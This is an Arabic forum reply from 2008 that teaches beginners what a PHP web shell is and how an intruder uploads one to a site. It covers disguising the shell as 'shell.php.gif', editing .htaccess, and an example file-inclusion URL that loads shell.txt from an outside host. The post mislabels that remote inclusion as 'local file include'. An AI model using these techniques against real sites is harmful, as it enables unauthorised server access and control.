عرض مشاركة واحدة
 
قديم 08-12-2008, 07:05 PM   #2 (permalink)
Qtr Linux
عضو مميز
 
الصورة الرمزية Qtr Linux







Qtr Linux غير متصل

Qtr Linux will become famous soon enoughQtr Linux will become famous soon enough

افتراضي رد: لإستفسارات وأرجوا ان اجد اجوبــــــــة =(

اممممممممم
هنا تكمن المشكلة


انا كلمت اخوي XP اكثر من مرة عن هذا الموضوع
لكن هو الله يسامحه ما به شي الا ويرد علي به


كل يوم بعذر ههه


شوف,, اول شي

ما هو الشل ؟

الشل هي او هو سكربت
مجرد سكربت مثل سكربت المنتدى ومثل سكربت مركز الرفع

لكن يلي يختلف ان الشل ,, ملف واحد
وله وضائف محدودة
وهي فقط ما يريده المخترق ان يفعل

يعني الشل يسهل عليك تقرأ ملفات السيرفر + تعطي اوامر وترفع وووو


المهم ,,كيف ترفع الشل

الشل تقدر ترفع بطرق
وكل واحد له طريقته


الحين لازم نرفع الشل كيف

تقدر ترفعه بستخدام الثغرات
والثغرات هي اخطأ برمجية في السكربتات
وكل خطأ على حسب النوع

يعني فيه انواع كثيرة
منها sql
وهي الاكثر شهرة واستخدام ,, وانصحك ما تبتدي لها لان يبي لها واحد فاهم شوي

لوكال فايل انكلود

وهو خطأ برمجي يسمح لك برفع شلك
لكن لازم يكون شلك txt ومرفوع على اي موقع


والشل ما يشتغل الا لما يكون php وبعض الشلات يكون pl
وانت تشوف ان الشل يكون gif هذا لما ترفع الشل على مركز رفع
بحيث يكون كذا

shell.php.gif

وبعضها يغيرون الهاستكس علشان يشتغل الشل --> بعضها



المهم

الثغرة
بقول لك نوع واحد وهو اللوكال فايل انكلود

http://www.alm3refh.com/vb/index.php...com/shell.txt?

بحيث ان
alm3refh
هو الموقع

و
vb
هو السكربت

و
index.php

هو الملف المصاب


و path
هي الدالة ,, وخطأ البرمجي يمكن بها

وموقع
looooool.com/shell.txt

هو شلك

ولازم يكون ملحوق بالاستفاهم



انا اختصرت اكثر من شرح بواحد


ان شاء الله اشرحها بعدين او اخوي xp يشرحها

التوقيع

الكبير طول عمره كبير

  رد مع اقتباس